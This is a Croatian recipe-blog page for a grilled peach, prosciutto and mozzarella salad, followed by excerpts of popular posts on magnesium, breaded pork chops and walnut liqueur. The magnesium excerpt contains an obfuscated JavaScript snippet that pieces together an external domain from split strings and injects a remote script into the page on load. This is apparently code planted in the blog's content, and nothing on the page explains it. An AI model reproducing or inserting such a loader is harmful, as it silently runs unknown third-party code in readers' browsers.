SALATA S GRILANIM BRESKVAMA, PRŠUTOM I MOZZARELLOM 🍑 🥗




Salata s grilanim breskvama, pršutom i mozzarellom 



Sočne grilane breskve, kremasta mozzarella, slani pršut i mirisni bosiljak stvaraju savršenu kombinaciju okusa u ovoj laganoj ljetnoj salati. Poslužite je uz hrskavu ciabattu kao lagani ručak ili elegantno predjelo za druženja na otvorenom.





Salata s grilanim breskvama, pršutom i mozzarellom 


Sastojci:

  • 2 malo tvrđe breskve (oko 300 g), narezane na četvrtine i bez koštica
  • 1 čajna žličica maslinova ulja
  • nekoliko grančica timijana, samo listići
  • 50 g rikule ili matovilca
  • 150 g cherry rajčica, prepolovljenih
  • 100 g pršuta, natrganog na manje komade
  • 150 g mozzarelle (u vodi)
  • 1 žlica meda
  • 2–3 žlice ekstra djevičanskog maslinova ulja
  • 1 čajna žličica aceta balsamica
  • nekoliko listova svježeg bosiljka, grubo natrganih
  • cvijet soli
  • svježe mljeveni crni papar

Za posluživanje

  • 2 velike kriške ciabatte (oko 180 g) ili 1 veća ciabatta prerezana napola
  • 1 veći češanj češnjaka, lagano zgnječen
  • 2 žlice ekstra djevičanskog maslinova ulja



Priprema:

  1. Četvrtine bresaka premažite maslinovim uljem. Zagrijte grill tavu ili roštilj na srednje jakoj vatri pa pecite breskve 5 do 7 minuta dok ne omekšaju i dobiju lijepe tragove pečenja s obje strane.
  2. Pečene breskve prebacite na tanjur, pospite listićima timijana i svježe mljevenim paprom te ostavite sa strane.
  3. U istoj grill tavi kratko prepecite ciabattu dok ne postane hrskava i lagano zapečena. Još tople natrljajte zgnječenim češnjakom i premažite ekstra djevičanskim maslinovim uljem.
  4. U većoj zdjeli ili na pladnju rasporedite rikulu ili matovilac, dodajte cherry rajčice i komadiće pršuta.
  5. Dodajte grilane breskve, a mozzarellu natrgajte rukama na veće komade i rasporedite po salati.
  6. Sve prelijte medom, ekstra djevičanskim maslinovim uljem i acetom balsamicom. Na kraju dodajte listove bosiljka, pospite cvijetom soli i svježe mljevenim paprom.
  7. Poslužite odmah uz toplu, hrskavu ciabattu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više